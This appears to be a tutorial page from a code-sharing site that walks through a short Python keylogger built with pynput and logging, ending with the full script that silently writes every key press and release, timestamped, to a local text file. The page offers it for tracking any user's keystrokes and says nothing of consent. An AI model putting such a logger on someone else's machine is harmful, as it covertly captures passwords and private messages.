Coders Packet

Keyboard logger using Python

By Dipak Ghosh

Python Program to keep a track of keyboard activity of any user using Python pynput and logging modules.

Modules used: logging pynput

To know more about them and their installation visit this link and search about them to get the required information.

To do this take let's take a step-by-step approach

1. IMPORTING THE PACKAGES

from  pynput.keyboard import Listener
import logging

In the above snippet Listener is a class from the pynput.keyboard package thst is used to recognize (listen) to various hardware activities like key press, key release, scroll, click etc.

logging package is imported to create the log file to keep a track of the keyboard activity of the user.

2. PROVIDING THE FILE PATH

file_path="key_log.txt"

Personally, I have a folder dedicated for each of my projects so I decided to create a file named key_log.txt in the same directory. You may opt to do the same or you can create a file anywhere in your system and just provide the file path (if it is in some foreign directory) or file name (if it is in the same directory as of the code) as the case may be.

3. DECLARING FUNCTIONS FOR ACTIVITY OR ACTIVITIES

Keyboard activity mainly comprises of the following two events:-

A. Key Press - Action when a finger is placed on the key to type. So lets declare what to do when this event occurs as follows:-

def on_press(key):  #Function for key press action
    logging.info("Key pressed : {0}".format(key))    

Here, key is the key pressed and logging.info() is the function which writes (logs or creates a log) to our desired file with logging level = INFO in the specified format. 

B. Key Release - Just after performing the above action, when the finger is removed from the key that action is called key release. Hera also lets declare what to do when this action occurs:-

def on_release(key):    #function for key release action
    logging.info("Key released: {0}".format(key))

4. WRITING THE DRIVER CODE

logging.basicConfig(filename=file_path, level=logging.DEBUG, format='%(asctime)s: %(message)s')  #Configuring log file 
with Listener(on_press=on_press, on_release=on_release) as l:   #whenever key is pressed or released
    l.join()    #both the process functions are executed

Here, logging.basicConfig(filename, level, format) is used to configure the logger. Here filename is the filename or filepath that you have decided to keep the log into, level specifies the message level of the logs by default and format is the format in which the log will be updated. The one used here i.e. '%(asctime)s: %(message)s' is for time stamp as well as message.  

Then we are setting up the listener by creating an instance in a with statement with link to the methods that we declared above and finally using it's .join() method to join it to the main thread.

So summing up all of it our finalcode would look like this:-

from  pynput.keyboard import Listener   #importing Listener for Keyboard activity
import logging  #importing logging module for creating log file of keyboard activity


file_path="key_log.txt" #mention the log file destination path here


def on_press(key):  #Function for key press action
    logging.info("Key pressed : {0}".format(key))    

def on_release(key):    #function for key release action
    logging.info("Key released: {0}".format(key))


#Driver code
logging.basicConfig(filename=file_path, level=logging.DEBUG, format='%(asctime)s: %(message)s')  #Creating log file in txt form
with Listener(on_press=on_press, on_release=on_release) as l:   #whenever key is pressed or released
    l.join()    #both the process functions are executed

When the above code is executed nothing will be shown in the terminal but after minimising the window if you do some keyboard activity then in the file_path that you used in the program there will be a .txt file comprising of data somthing like below:-

KEYBOARD ACTIVITY LOG FILE OUTPUT

Download project

Reviews Report

Submitted by Dipak Ghosh (DGhosh49251)

Download packets of source code on Coders Packet